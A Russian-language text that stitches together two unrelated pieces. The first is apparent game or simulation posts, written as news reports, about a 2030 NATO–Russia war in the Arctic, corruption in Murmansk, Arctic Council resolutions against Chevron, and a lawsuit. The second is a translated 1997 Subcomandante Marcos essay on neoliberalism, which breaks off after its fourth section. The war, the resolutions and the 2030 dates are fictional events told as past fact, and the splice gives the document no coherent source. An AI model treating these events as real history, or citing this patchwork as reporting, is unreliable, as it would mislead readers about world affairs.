В связи с последними потрясениями – усилением роли НАТО и началом войны в Арктике, как то позабылась некрасивая история с Администрацией Мурманска. А мы помним. Сомнительные договоры, непонятные тендеры и пропавший куда-то бесследно «Фонд  развития». Взяточничество, коррупция и зачастую банальное воровство, без применения каких-либо мошеннических схем. А к чему они, если все внимание жителей приковано к войне? Можно спокойно разворовать «Фонда развития», пока компании, а теперь уже и армии борются за Арктику. Мурманск превратился в некую тихую гавань – все основные события происходят на отдаленном расстоянии от города. Но война очень непредсказуемое явление. Ходят упорные слухи о том, что Тихоокеанская авианосная группа США движется в Арктику, чтобы помочь войскам НАТО прорвать оборону противника и захватить контроль над Арктикой, включая все основные морские порты. Включая Мурманск. Вероятно, спокойствие мурманских бонз будет неожиданно нарушено.

  Сразу после начала «арктической гонки», Мурманск стал объектом пристального внимания всех мировых компаний,  объектом солидных инвестиций и объектом закулисных страстей. Мурманск стал городом мирового значения. Вокруг амбициозных проектов подводных городов, жилых районов нового типа вращались колоссальные суммы денег. Естественно, соблазн прибрать это все к рукам велик. Был запущен тендер, результаты которого очень неясны. Какая конкретная компания обеспечит благополучие жителей Мурманска? Где подводные города? Жители по-прежнему живут в плохих условиях, в не обустроенных домах. С началом экспансии НАТО, основное внимание компаний было приковано к их предприятиям, построенным за полярным кругом. Им стало не до Мурманска, его обманутых жителей и ушлой администрации. Деньги из «Фонда развития» таинственным образом исчезли. Вероятно, какая-то их часть ушла под воду, на строительство подводных городов, но сейчас всем разумеется не до этого. Остальные, весьма крупные суммы, вероятно, утекли в карман чиновников городской администрации. Конечно, сейчас, когда полярную шапку охватил пожар войны, многим нет дела до воров из администрации Мурманска. Но не участвующим в войне сторонам, включая компании, вложившихся в город, было бы хорошо подать иск на отцов города, восстановить «Фонд Развития» и передать его в более надежные руки новой администрации, тем самым вернув доверие не раз обманутых жителей города.

Арктический Совет постановляет:

1. Подтвердить действие статьи Морской Конвенции 1982 года о праве прибрежного государства на особую 200-мильную зону, за пределами которой начинаются нейтральные воды, на которые суверенитет государства не6 распространяется.
2. Объявить нейтральные воды демилитаризованной зоной
3. Объявить Арктический регион демилитаризованной зоной и вывести все военные объекты из вод Арктики, за исключением объектов, предусмотренных в пункте 5.
4. Наделить государства правом на свободную мирную деятельность в нейтральных водах Арктике с разрешения (по лицензии) Арктического Совета.
5. Объявить Россию гарантом исполнения решений АС с правом применятьь санкции в отношении нарушителей, вплоть до удаления их объектов из арктического региона. Для этого, в порядке исключения, разрешить России содержать военные базы в арктическом регионе.
6. Предписать компании Шеврон, как грубому нарушителю принятых решений,  убрать свои объекты из нейтральных вод. В случае отказа, комплексы будут уничтожены гарантом безопасности.

 Все решения приняты единогласно, за исключением пункта 5, против которого проголосовали США с требованием вывести любые военные объекты, сохранив исключительно экономические.

Заседание от 15 марта 2030 года

http://arktika2030.ru/adm/post-349/

http://arktika2030.ru/adm/post-347/

Вести бизнес в Арктике становится все труднее. И не потому, что там очень холодно. Компании, которые работают в этом регионе, наталкиваются на налоговые барьеры, которые им ставит НАТО. Большинство из недовольных используют более категоричное определение – военный блок занимается рэкетом. Бороться с этим они намерены в международном суде.

Французская компания Арева лишилась одного из своих объектов в Арктике: из-за отказа платить по счетам, его взорвали. У японской компании Тошиба тоже связаны руки: из-за налоговых сборов, она не может действовать в этом регионе. Представители обеих компаний заявляют, что честно вести дела им мешает НАТО. Военный блок (только вдумайтесь в эти слова) по каким-то причинам занимается сбором налогов. За вовремя уплаченные суммы он гарантирует защиту – от кого не уточняет. Но как показывает практика, кто не согласен делать отчисления, может поплатиться – как в случае с Аревой. И даже членство твоей страны в НАТО не поможет. Так, представитель НАТО заявил, что блок не намерен защищать Ареву, раз та не платит налоги, даже несмотря на членство Франции в организации. Оказывается, работать в Арктике может только тот, за чьей спиной стоит солидная организация – будь то НАТО (активно сотрудничающая с Шевроном), или Мурманский военный округ(так в регионе спокойно РосАтом).

Тошиба и Арева, понятно, были недовольны такой «конкуренцией» и заявили о своем намерении подать в международный суд. Однако этот союз просуществовал недолго – как стало известно, Арева планирует отказаться от такого намерения. Дело в том, что убытки ей возместили, и сделал это не кто иной, как Шеврон. Почему именно Шеврон занимается проблемами НАТО – вопрос открытый, тем более, что слухи об их особых отношениях ходят давно. Таким образом Тошиба остается в поле одним воином, точнее самураем.

Но это не единственный иск, с которым может столкнуться НАТО и Шеврон (ведь, в последнее время, говорим НАТО – подразумеваем Шеврон). Юнеско намерен подать иск в международный суд. Дело в том, что при участии этой организации был заключен договор между несколькими странами о создании охраняемой зоны культурного наследия Земли. После удара НАТО по ядерным объектам, с которого начался современный военный конфликт, часть этой зоны оказалась заражена. Страны договора намерены требовать возмещения ущерба. Только вот вопрос: насколько действенным будет решение суда, поможет ли оно существенно изменить ситуацию, если НАТО привыкло действовать всем известными методами.

В Арктике становится горячо. На территории, которую не раз объявляли достоянием всего человечества, называли будущим планеты, развернулись военные действия. Закономерный вопрос: кто в этом виноват?

Арктический совет, в первую очередь Россия, обвиняет в развязывании конфликта НАТО. В этом АС поддерживает ООН. НАТО, в свою очередь, заявляет, что его члены, как государства, исторически связанные с Арктикой, имеют право контролировать эти территории. Правда, говоря интересы «государств-членов» руководство военного блока подразумевают интересы конкретной компании.

Действительно, если приглядеться внимательнее к ситуации внутри блока, становится ясно, что все его члены находятся далеко не в равном положении. Как нам сообщили представители одной из восточных стран– в НАТО заправляет некая клика. Причем ключевой фигурой, принимающей участие в каждом решении руководства блока, является конкретный человек.

Кто же он?

Изначально он сам называл себя представителем компании Шеврон. Как известно, у нее с НАТО особые трепетные отношения. Во-первых,  она изначально получила от НАТО особые налоговые льготы. Интересно также, что другие компании, зарегистрированные в странах-членах НАТО, такими привилегиями не пользовались. Так, из-за неуплаты налогов с НАТО возникли проблемы у французской Арев. Напомню, что объект компании взорвали. В адрес НАТО и в частности Шеврона раздавались обвинения  со стороны этой, а также японской компаний в настоящем рэкете. Во-вторых, именно вокруг объектов этой компании развернулся спор, который привел к военному конфликту. АС принял решение о выводе ее предприятий из арктической зоны. В случаи неподчинения резолюции, АС предусматривал уничтожение объектов Шеврон. Военный блок сразу встал на защиту ТНК. Такому защитнику может позавидовать любая корпорация.

Когда я спросила представителя Шеврон, что он может ответить на обвинения в сговоре с военным блоком, он заявил: «Да, я с НАТО, но лишь потому, что я американский гражданин и, как гражданин, буду способствовать укреплению демократии во всех уголках мира». Что скрывается за словами «укрепление демократии» можно только догадываться.

Дальше события развивались еще интересней. Человек, который принимал непосредственное участие во всех решениях НАТО, представляясь менеджером компании Шеврон, заявил, что он не имеет никакого отношения к этой компании. На каком основании он участвует во всех действиях блока, этот загадочный мистер Х пояснить отказался.

Получается, что организация, которая обладает внушительным военным потенциалом, управляется неизвестным. Кто он, чего он хочет – не известно. Но от ответов на эти вопросы зависит будущее всей планеты.

Арктический совет собрался на очередное заседание. В отличие от всех предыдущих, это собрание все-таки приняло несколько решений, и каких. Стремясь подорвать усилившиеся позиции НАТО в регионе, АС подрывает систему международного права. Но если НАТО, возможно, устоит, то судьба правовой системы менее определенна. Как и судьба всего региона: в результате принятых в совете решений в Арктике разгорелся военный конфликт.

По итогам заседания было принято несколько противоречивых резолюций. Первые две ставят своей целью укрепить систему международного права: все члены Совета подтвердили Конвенцию по морскому праву 1982 и приняли решение о демилитаризации как нейтральных вод, так и всей Арктики. Но другие два решения не просто противоречат предыдущим, но отменяют их. Во-первых, Арктический совет сам себя наделил полномочиями давать право на работу в арктической зоне и решать все вопросы по возникающим там проблемам (чем, по идее занимается ООН). Во-вторых, гарантом соблюдения всех решений АС сделал Россию. Ей разрешается держать в демилитаризованной зоне военную базу для защиты интересов АС. Самым спорным явилось решение АС о запрете Шеврону действовать в арктической зоне. На каком основании АС принимает решение, которое вмешивается в сферу компетенций определенной страны (США), непонятно. Но факт остается фактом: АС постановил, что Шеврон должен покинуть Арктику, иначе его объекты будут уничтожены. За исполнением этого решения также должна следить Россия. Шеврон этого не сделал. В ответ на такое решение, блок НАТО нанес удар по некоторым объектам в Арктике. Россия в свою очередь нанесла удар по объектам Шеврона.

Таким образом, бывшие союзники развязали военный конфликт. Напомню, НАТО и Россия заключили договор о разделе сфер влияния – Арктику поделили на две зоны. Теперь же представитель России заявляет, что данный договор был вынужденной мерой. Теперь же ситуация изменилась – страна заявляет, готова нарушить существующий договор и применить военную силу против агрессии НАТО, как она ее называет. Что, впрочем, и делает.

Стоит заметить, что Арктический совет вообще неоднозначная организация. Презентуя себя единственной легитимной организацией в Арктике, она выступает исключительно с позиции силы. Ее единственным аргументом пока является военная мощь одного из членов. При этом в самой организации ясно обозначились лидеры: большинство решений принимается таким образом, что в выигрыше оказывается Россия. Другие члены Совета (в частности США и Франция) пока получили мало выгод от такого сотрудничества. Кроме того, их нельзя назвать надежными союзниками. Складывается впечатление, что представители стран не имеют какого либо влияния на своих собственных военных. Действия этих стран в рамках АС прямо противоположны их действиям в НАТО. И ,как показывает развитие событий, последние слово остается за военными. А их цели далеки от установления мира и спокойствия в Арктике.

http://arktika2030.ru/post-1030/post-342/

Обвинитель: РФ

Представитель обвинителя: Пантюхова О.И. (№898)

Ответчики: НАТО, Chevron

Российская Федерация обвиняет Ответчиков в умышленном нанесении ударов вблизи "Зоны Культурного Наследия", в заражении территории РФ радиацией, загрязнении вод Арктики, нарушении Договора о демилитаризации Арктики 2018г.

Обвинитель требует:

1) обязать Ответчиков возместить ущерб, причиненный их действиями;

2) максимально ограничить возможность влияния Ответчиков в Арктике.

В качестве свидетелей приглашаются: Росатом, Газпром, СЗВО РФ, Фонд Культурного Наследия Человечества.

Субкомманданте МАРКОС
(Июнь 1997 г. Горы юго-востока Мексики)

(Неолиберализм в виде головоломки: бесполезное объединение мира, делящее и разрушающее страны)

Для Государства война есть вопрос жизненной важности, это провинция жизни и смерти, путь, ведущий к выживанию или уничтожению. Её углубленное изучение совершенно необходимо.
Сунь-Цзы("Искусство войны") 

Нынешняя глобализация, и неолиберализм [1] как всемирная система; всё это следует понимать как новую войну для захвата территорий. Окончание Третьей мировой войны или "холодной войны" не означает того, что мир предолел биполярность и стал стабилен под властью победителя. В результате этой войны, несомненно, был один побеждённый (социалистический лагерь), но трудно сказать, кто оказался победителем. Западная Европа? Соединенные Штаты? Япония? Все они вместе? Дело в том, что поражение "империи зла" (цит. Рейгана и Тэтчер) означало открытие новых рынков без нового хозяина. Поэтому, нужно было начинать борьбу за захват позиций, т.е. завоевать их. 
Окончание "холодной войны" поставило международные отношения в новые рамки, в которых новая борьба за эти новые рынки и территории вызвала новую мировую войну, Четвёртую. Это заставило, как и во всех войнах, заново определить роль и место государств. Кроме переопределения государств, мировой порядок вернулся к старым эпохам завоевания Америки, Африки и Океании. Странная эта современность развивается, двигаясь наоборот. Закат ХХ века куда больше похож на дикие предшествовавшие ему столетия, чем на радостное и рациональное будущее из некоторых научно-фантастических романов. Широкие территории, богатства и, главное, квалифицированная рабочая сила мира, где только что закончилась "холодная война", ожидали своего нового хозяина. 
Но место для владельца мира есть только одно, а претендентов немало. И для достижения этой цели развязывается новая война, на этот раз, среди тех, кто провозгласил себя "империей добра". 
Если Третья мировая война происходила между капитализмом и социализмом (возглавлявшихся соответственно Соединенными Штатами и СССР) и шла на разных сценариях и с различной степенью интенсивности, Четвёртая мировая война ведётся сейчас между крупными финансовыми центрами, и интенсивность её остра и постоянна. С момента окончания Второй мировой войны до 1992 г. в мире было развязано 149 войн. От пещер международного шпионажа до стратосферного пространства так называемой Стратегической Оборонной Инициативы [2], от спущенной с тормозов гонки ядерных вооружений до зверских государственных переворотов в несчастной Латинской Америке, от угрожающих маневров Организации Северо-Атлантического договора до агентов ЦРУ в Боливии времен убийства Че Гевары [3], так неудачно названная, "холодная война" достигла таких высоких температур, что они смогли, наконец, расплавить социалистический лагерь как мировую систему, и ликвидировать его как социальную альтернативу. 
Для победителя - капитализма - Третья мировая война стала доказательством благ "тотальной войны" (ведущейся во всех местах и всеми средствами). Однако послевоенный сценарий оказался наделен, как новый театр военных действий, следующими атрибутами: огромные пространства "ничейной земли" (из-за политической, экономической и социальной неразберихи Восточной Европы и СССР), расширяющиеся сверхдержавы (Соединенные Штаты, Западная Европа и Япония), мировой экономический кризис и новая технологическая революция: информатика. 
Верховный король капитала, капитал финансовый, начал, таким образом, развитие своей воинственной стратегии по отношению к новому миру и ко всему тому, что оставалось ещё целым от мира старого. Вместе с технологической революцией, подавшей, посредством компьютера, весь мир к их письменным столам и на их полное усмотрение, финансовые рынки навязали планете свои законы и свои понятия. "Глобализация" новой войны есть ни что иное, как глобализация логики финансовых рынков. Государства (и их правительства) из задающих правила игры в экономике перешли в разряд управляемых, вернее, телеуправляемых, по причине осуществления основного принципа финансовой власти: свободного коммерческого обмена. Кроме того, логика рынка овладела всеми аспектами общественной деятельности. Наконец мировая война стала действительно всеобщей! 
Одной из первых потерь в этой новой войне оказался национальный рынок. Как пуля, выстреленная внутри бронированной комнаты, война, начатая неолиберализмом, рикошетит из стороны в сторону и ранит того, кто нажал на курок. Одна из главных опор власти современного капиталистического государства - национальный рынок - уничтожен пушечным выстрелом новой эры мировой финансовой экономики. Международный капитализм пожинает свои жертвы, отменяя национальные капитализмы и истощая власть общественных структур. Удар оказался таким мощным и окончательным, что у государств уже нет силы, необходимой для противостояния действию международных рынков, попирающих интересы граждан и правительств. Аккуратно прибранная витрина, ожидавшаяся, как предполагалось, в качестве наследства после окончания "холодной войны" и наступления "нового мирового порядка" разлетелась вдребезги в результате неолиберального взрыва. В новом мировом порядке нет ни демократии, ни свободы, ни равенства, ни братства [4]. 
На мировой сцене, сложившейся в результате окончания "холодной войны", видно только новое поле битвы, и на нём, как и на любом поле битвы, царит хаос. Ее Результат - уже не горы дымящихся руин и десятки тысяч прерванных жизней, а ещё один квартал, добавляющийся к одному из торговых мегаполисов нового мирового гипермаркета [5], и рабочая сила, реорганизованная для обслуживания нового мирового рынка труда. 
Европейский Союз, один из мегаполисов, образовавшихся в результате неолиберализма, является результатом нынешней Четвёртой мировой войны. В этом случае экономическая глобализация смогла стереть границы между государствами-соперниками, с давних времен враждовавшими между собой, и вынудила их объединиться и создать политический союз. От национальных государств к европейской федерации, экономистский путь неолиберальной войны на так называемом "Старом Континенте" будет полон разрушений и руин, одной из которых окажется европейская цивилизация. 
Мегаполисы множатся по всей планете. Пространством их возникновения являются интегрированные торговые зоны. Это происходит в Северной Америке, где Договор о Свободной Торговле в Северной Америке (НАФТА, согласно английской аббревиатуре) [6] между Канадой, Соединенными Штатами и Мексикой - не более чем прелюдия к исполнению старой мечты захватчиков из США: "Америка для американцев" [7]. В Северной Африке уже существует Арабский Магрибский Союз (УМА) [8], включающий в себя Марокко, Алжир, Тунис, Ливию и Мавританию, в Южной Африке, на Ближнем Востоке, на Чёрном море, в Тихоокеанской Азии и т.д., по всей планете взрываются финансовые бомбы и заново завоевываются территории. 
Мегаполисы замещают страны? Нет. Точнее, не только. Кроме этого, они включают страны в себя и предопределяют их функции, границы и возможности. Целые страны превращаются в отделы неолиберального мегапредприятия. Неолиберализм действует следующим образом: разрушение/обезлюдение с одной стороны и, с другой, восстановление/реорганизация целых регионов и стран, для того, чтобы открыть новые рынки и модернизировать уже существующие. 
Если во времена Третьей мировой войны атомные бомбы выполняли задачу навязания другому своей воли, его запугивания, при Четвёртой мировой конфронтации с финансовыми сверхбомбами происходит уже нечто совершенно иное. Это оружие служит для нападения на территории (государства), уничтожая материальную базу национальной независимости (являющейся этическим, юридическим, политическим, культурным и историческим препятствием на пути экономической глобализации) и вызывает качественное обезлюдение этих территорий. Обезлюдение происходит из-за того, что необходимо избавиться ото всех тех, кто бесполезен для новой рыночной экономики (например, от коренных народов). Но кроме всего этого и одновременно с этим, финансовые центры берутся за восстановление государств и реорганизуют их согласно новой логике мирового рынка (развитые экономические модели подавляют слабые или несуществующие общественные отношения). 
Этот эффект Четвёртой мировой войны виден на примере сельской местности. Модернизация села, как того требуют финансовые рынки, пытается решить поставленную перед ней задачу роста продуктивности сельского хозяйства, но реальный её результат - разрушение традиционных общественных и экономических отношений на селе. В итоге - массовый исход из сёл в города. Тем временем, в городах рынки работы всё больше переполняются и "справедливостью", которую ждут те, кто ищет лучших условий жизни, оказывается каждый раз всё более неравное распределение доходов. 
В зтой новой мировой войне, современной политики, как организатора национального государства, больше не существует. Политика сегодня - это организатор сугубо экономический и политики - лишь современные администраторы фирм. "Национальные" правительства уполномочены администрировать бизнес в различных регионах мира. Это и есть "новый мировой порядок": превращение всего мира в один единый рынок. Страны являются магазинами его отделов с управляющими в виде правительств, новые региональные экономические и политические альянсы каждый раз всё больше похожи на современное торговое соглашение, чем на политическую федерацию. В гигантском мировом гипермаркете свободно перемещаются товары, но не люди. 
И речь не только о материальном разрушении национальных государств, ведь кроме него (и насколько это важно, настолько и малоизучено) происходит разрушение историческое и культурное. Достойное индейское прошлое стран Американского континента, блестящая европейская цивилизация, мудрая история азиатских народов, могучая и богатая древность Африки и Океании, все культуры и исторические процессы создавшие нынешние страны подвержены сегодня атаке со стороны "американского образа жизни". Таким образом, неолиберализм объявляет миру глобальную войну: разрушение стран и национальных групп с тем, чтобы отождествить их с североамериканской капиталистической моделью. 
Война. Война мировая. Четвёртая. Самая худшая и самая жестокая. Развязываемая неолиберализмом повсеместно и всеми средствами против человечества.Но как и во всех войнах, здесь есть бои, есть победители и побеждённые, и есть обломки разрушенной этой войной реальности. Чтобы попытаться решить абсурдную головоломку неолиберального мира, необходимы многие детали. 
Некоторые из них можно найти среди руин, уже оставленных этой войной на поверхности планеты. Может быть, когда хотя бы семь из этих деталей удастся собрать воедино, мы сможем сохранить надежду на то, что этот мировой конфликт не покончит с самым слабым из противников - с человечеством. 
Семь деталей, чтобы нарисовать, раскрасить, вырезать и попытаться собрать воедино, вместе с другими деталями, мировую головоломку. Первая - это двойное накопление, накопление богатства и бедности на двух полюсах мирового сообщества. Вторая - это абсолютная эксплуатация абсолютно всего мира. Третья - кошмар скитающейся части человечества. Четвертая - тошнотворная связь между преступностью и властью. Пятая - насилие государства. Шестая - загадка мегаполитики. Седьмая - мешки сопротивления неолиберализму со стороны человечества. 

Деталь 1:Концентрация богатства и распределение бедности 
Фигура выстраивается путем рисования денежного знака.

В истории человечества, различные общественные модели оспаривали между собой право сделать абсурд основой мирового порядка. Когда наступит время раздачи премий, неолиберализм наверняка займет привилегированное место, ибо его форма "раздачи" общественных богатств состоит не в чем ином, как в распределении двойного абсурда накопления: накоплении богатств в руках некоторых немногих и накоплении бедности среди миллионов людей. 
Несправедливость и неравенство уже стали отличительными чертами современного мира. Планета Земля, третья в Солнечной системе, населена 5 миллиардами человеческих существ. На ней только 500 миллионов человек живут при всех удобствах, тем временем как 4 миллиарда 500 миллионов пребывают в бедности и пытаются выжить. 
Двойной абсурд в соотношении между богатыми и бедными: богатых мало, бедных много. Количественная разница преступна, но равновесие между этими крайностями достигается за счет богатства: богатые компенсируют своё количественное меньшинство миллиардами долларов. 
Золотые звенья финансовых часов превращаются в тяжёлые цепи для миллионов людей. Реальные заработки большей части трудящихся упали, кроме того, следует учесть сокращение персонала на предприятиях, закрытие фабрик и перемещение производственных центров. 
Таким образом, концентрация богатства в немногих руках и распределение бедности среди многих плавно вычерчивает знак современного мирового сообщества: зыбкое равновесие абсурдного неравенства. 
Разница, которую необходимо преодолеть между богатыми и бедными, просто чудовищна и, кажется, в этом направлении нет ни малейшего сдвига. Точнее он есть, но в направлении противоположном. Далекое от того, чтобы быть смягченным, не говоря уже ликвидированным, социальное неравенство обостряется, и, прежде всего, в развитых капиталистических странах: в Соединенных Штатах между 1983 и 1989 годом 1% самых богатых североамериканцев обладал 61.6% всей совокупности национального богатства страны. 80% самых бедных североамериканцев могли разделить между собой не более 1.2 % от национального богатства. В Великобритании число бездомных удвоилось, количество детей, которые живут только за счёт социального пособия, увеличилось от 7% в 1979 г. до 26% в 1994 г., число британцев, живущих в бедности (определяемой как получение месячного дохода, составляющего менее половины минимальной зарплаты) возросло с 5 миллионов до 13 миллионов 700 человек, 10% самых бедных потеряли 13% своей покупательной способности, в то время как 10% самых богатых увеличили свое состояние на 65%, и в течение 5 последних лет число миллионеров удвоилось (данные Ле Монд Дипломатик. 4/1997). 

Деталь 2: Глобализация эксплуатации 
Фигура выстраивается путем рисования треугольника.

Одна из неолиберальных басен заключается в утверждении того, что экономический рост неизбежно приводит к лучшему распределению богатства и к росту занятости. Но это не так. Точно так же, как рост политической власти короля не приносит, как последствие, роста политической власти его вассалов (скорее, наоборот), абсолютизм финансового капитала ни улучшает распределения богатства, ни создаёт потребности в большей работе со стороны общества. Бедность, безработица и тяжёлые условия работы являются его структурными последствиями. 
В 60-е и 70-е годы, население, считавшееся бедным (с доходом менее чем 1 доллар в день для удовлетворения самых элементарных потребностей, согласно критериям Мирового Банка) составляло 200 млн. человек. В начале 90-х эта цифра достигала уже 2 млрд. человек. Кроме того, доходы 200 самых важных фирм планеты составляют более четверти доходов мировой зкономики; тем не менее, эти 200 фирм дают работу всего 18.8 млн. человек, т.е. менее чем 0.75% рабочей силы планеты. Всё больше людей бедных и обедневших и всё меньше богатых и обогатившихся - это основные уроки детали 1 неолиберальной головоломки. Для достижения этого абсурда, мировая капиталистическая система "модернизирует" производство, вращение и потребление товаров. Новая технологическая революция (информатика) и новая революция политическая (возникновение мегаполисов на руинах национальных государств) порождают новую социальную "революцию" - это ни что иное, как переупорядочение, реорганизация сил общества и прежде всего силы рабочей. 
Экономически активное население (ЭАН) мира превратилось из 1 376 млн. в 1960 г. в 2 374 млн. трудящихся в 1990 г. Больше способных работать, т.е. могущих создавать богатства. 
Однако, "новый мировой порядок" перемещает эту новую рабочую силу в географическом и производственном пространстве, кроме этого, он переупорядочивает её место (или отсутствие такового в случае безработных или полузанятых) в своём глобальном экономическом плане. 
За последние 20 лет в отраслях занятости мирового населения произошли принципиальные изменения. Занятость в сельскохозяйственном и рыболовном секторе упала с 22% в 1970 г. до 12% в 1990 г., в промышленности с 25% в 1970 г. до 22% в 1990 г., в то время как третий сектор (торговля, транспорт, банки и сфера услуг) вырос от 42% в 1970 г. до 56% в 1990 г. В случае "развивающихся" стран, третий сектор вырос от 40% в 1970 г. до 57% в 1990 г., тем временем, как число населения, занятого в сельскохозяйственном и рыболовном секторе сократилось с 30% в 1970 г. до 15% в 1990 г. Это значит, каждый раз всё большее число трудящихся оказывается направленным на виды деятельности, связанные с повышением продуктивности или ускорением продажи товаров. Тем не менее, неолиберальная "модернизация" куда больше похожа на дикое рождение мировой капиталистической системы, чем на утопическую "рациональность" "Современное" капиталистическое производство продолжает опираться на труд детей, женщин и рабочих-иммигрантов. Из 1 148 млн. детей планеты, по крайней мере 100 млн. живут практически на улице, 200 млн. работают, и предвидится, что к 2000 году работающих детей будет уже 400 млн. Кроме того, называется цифра 146 млн. азиатских детей, работающих в производстве автомобильных деталей, игрушек, одежды, продуктов питания, в сфере металлообработки и в химической промышленности. И эта эксплуатация детского труда характерна не только для "развивающихся" стран" 40% английских детей и 20% французских работают, чтобы дополнить доход семьи, или же просто чтобы выжить. Кроме того, место для детей есть и в индустрии развлечений. По подсчетам ООН, каждый год рынок секса пополняется миллионом детей. 
С исчезновением местных и региональных рынков, мелкие и средние производители оказываются безо всякой защиты и без малейшей возможности конкурировать с транснациональными гигантами. 
Результат: массовое разорение предприятий. Последствие: миллионы трудящихся без работы. Повторяющийся неолиберальный абсурд: рост производства - не создает рабочих мест, наоборот, он их разрушает. ООН называет этот этап "ростом без занятости". 
Но на этом кошмар не заканчивается. Кроме угрозы безработицы, трудящиеся сталкиваются с постоянно ухудшающимися условиями труда. Большая нестабильность занятости, рост продолжительности рабочей недели и ухудшение зарплат - всё это последствия глобализации в целом и развития третьего сектора экономики (роста сектора сферы услуг) в частности. "В подчиненных странах, рабочая сила испытывает многостороннее ухудшение условий: доведенная до крайности текучесть кадров, работа без контракта, нерегулярные и обычно более низкие чем прожиточный минимум зарплаты, унизительные пенсионные "обеспечения", независимая недекларируемая трудовая деятельность, чтобы иметь какой-нибудь дополнительный доход т.е. работа прислугой или подневольный труд якобы защищенных секторов общества, например, детей" (Ален Морис. "Иностранные рабочие, авангард отсталости" в Ле Монд Дипломатик. Январь 1997 г.). 
Последствием всего этого становится глобализированная социальная бездна. Реструктурация процессов производства и вращения товаров и перераспределение производительных сил приводят к особому излишку: появлению лишних людей, тех, кто не необходим для "нового мирового порядка", тех, кто не производят, не потребляют, не являются объектами кредитования, в общей сложности, обузы. 
Таким образом, "стремительно растет число излишнего населения, которое не только подвержено самой острой нужде, но и не принимается ни в какой учёт, которое совершенно деструктурировано и разрознено, чьё единственное занятие заключается в блуждании по улицам, не имея ни дома, ни работы, ни семьи, ни общественных отношений ( по крайней мере, сколько-нибудь постоянных); блуждание со своим единственным достоянием - картонными коробками или целлофановыми мешками" (Фернандес Дуран, Рамон. "Против Европы капитала и экономической глобализации". Таласа. Мадрид, 1996). 
Здесь вы видите изображение пирамиды мировой эксплуатации. 

Деталь 3:Миграция, блуждающий кошмар 
Чтобы выстроить фигуру 3 надо нарисовать круг.

Ранее мы говорили о возникновении в конце Третьей мировой войны новых территорий, ожидавших своего завоевания (бывшие социалистические страны) и других, которые должны были быть повторно завоеваны "новым мировым порядком". Для достижения этого, финансовые центры развивают тройную стратегию преступления и дикости: разжигают "региональные войны" и "внутренние конфликты", капиталы движутся по новым путям накопления и огромные массы трудящихся перемещаются. 
Результатом этой мировой захватнической войны является колоссальное вращение миллионов эмигрантов по всему миру. "Иностранцы" в "мире без границ", который пообещали победители в Третьей мировой войне, миллионы людей, обреченных на преследования ксенофобов, постоянно ухудшающиеся условия работы, потерю культурной идентичности, полицейские репрессии, голод и смерть. 
Под разными именами и при некоторых юридических различиях, разделяя между собой нищенское равенство, мигранты, беженцы или перемещённые всего мира являются чужаками" порой терпимыми, порой отвергаемыми. Кошмар эмиграции, каковы бы ни были порождающие её причины, продолжает кружиться и расти на поверхности планеты. Число людей, пребывающих в компетенции Высшей Комиссии Объединённых Наций по Делам Беженцев (ВКОНДБ) резко выросло от немногим более 2 миллионов в 1975 г. до более чем 27 миллионов в году 1995. 
После ликвидации национальных границ (для товаров), глобализированный рынок организует мировую экономику: изучение и презентация [9] товаров и услуг, так же как и их вращение и потребление продумываются в межконтинентальном масштабе. Для каждой из частей этого капиталистического процесса "новый мировой порядок" организует перемещение специализированной и неспециализированной рабочей силы туда, где ему это необходимо. Не имея ничего общего со "свободной конкуренцией", столь расхваленной неолиберализмом, рынки занятости всё больше и больше предопределяются миграционными потоками. В случае трудящихся специализированных, хотя их число и невелико в сравнении с общей мировой миграцией, эта "передача мозгов" очень важна для концентрации экономической и информационной власти. Тем не менее, будь то квалифицированные специалисты или же просто рабочие руки, миграционная политика неолиберализма ориентирована куда больше на дестабилизацию международного рынка труда, чем на сдерживание потоков иммиграции. 
Четвёртая мировая война своим постоянным процессом разрушения/обезлюдения и восстановления/реорганизации вызывает перемещение миллионов людей. Их участью будут скитания со своим кошмаром за плечами, и для работающих других стран они станут непреходящей угрозой их трудовой стабильности, врагом, используемым для улучшения имиджа хозяев и неизменным поводом для оправдания расистского абсурда, поощряемого неолиберализмом. 
Это символ блуждающего кошмара мировой миграции, колесо ужаса, которое вращается по всему миру. 

Деталь 4:Мировое финансовое объединение и глобализация коррупции 
и преступности 
Фигура 4 выстраивается путем изображения прямоугольника.

Если вы думаете, что мир преступности это нечто из области загробной жизни и мрака, вы ошибаетесь. Ещё во времена так называемой "холодной войны" организованная преступность приобретала всё более пристойный внешний облик, и не только стала действовать как любое другое современное предприятие, но и начала каждый раз всё глубже проникать в политические и экономические системы национальных государств. С началом Четвёртой мировой войны, внедрением "нового мирового порядка" и последовавшими за ним открытием новых рынков, приватизации, ослаблением контроля над торговлей и международными финансами, организованная преступность тоже "глобализировала" свою деятельность. 
Преступные организации сделали "дух международной кооперации" своим и, ассоциировавшись между собой, участвуют в захвате и реорганизации новых рынков. Касается это не только преступной деятельности, участвуют они и в бизнесе легальном. Организованная преступность инвестирует в легальный бизнес не только с целью "отмывания" грязных денег, но и для того чтобы создать новые капиталы для нелегальной деятельности. Предпочтение при этом отдается торговле роскошной недвижимостью, индустрии развлечений, средствам коммуникации, промышленности, сельскому хозяйству, сфере общественных услуг и банкам. 
Али Баба и 40 банкиров? Нет, нечто похуже. Грязные деньги организованной преступности используются коммерческими банками для своей деятельности: ссуд, инвестиций в финансовые рынки, покупки бонов внешней задолженности, приобретения и продажи золота и валюты. "Во многих странах преступные организации превратились в кредиторов государств и, посредством своей деятельности на рынке, влияют на макроэкономическую политику правительств. Минуя ценностные биржи, они инвестируют свои средства в спекулятивные рынки сырья и субпродуктов" (М. Шоссудовски). 
Кроме всего этого, для организованной преступности существует и так называемый "налоговый рай" [10]. На земле есть, по крайней мере, 55 таких "райских" мест (одно из них, на Каймановых островах, является пятым в мире банковским центром, и число зарегистрированных там банков и фирм превышает количество жителей). Багамы, Британские Виргинские острова, Бермуды, Мартиника, Вануату, острова Кука, остров Маврикий, Люксембург, Швейцария, Англо-Нормандские острова, Дублин, Монако, Гибралтар, Мальта; идеальные места для связей между организованной преступностью и крупными финансовыми фирмами мира. 
Кроме "отмывания" грязных денег, налоговый рай используется для избежания уплаты налогов, эти места - точка контакта между правительственными кругами, предпринимателями и главарями организованной преступности. Использование в финансовой системе новейших технологий обеспечивает быстрый оборот средств и исчезновение следов от нелегальной прибыли. Согласно докладу Организации Объединенных Наций, "вторжение преступных синдикатов было облегчено программами структурного сокращения расходов, которые страны-должники были вынуждены принять в обмен на право доступа к кредитам Международного Валютного Фонда" (ООН. "Глобализация преступности". Нью-Йорк, 1995). 
Здесь перед вами прямоугольное зеркало, в котором законность и незаконность обмениваются отражениями. 
С какой стороны зеркала преступник? 
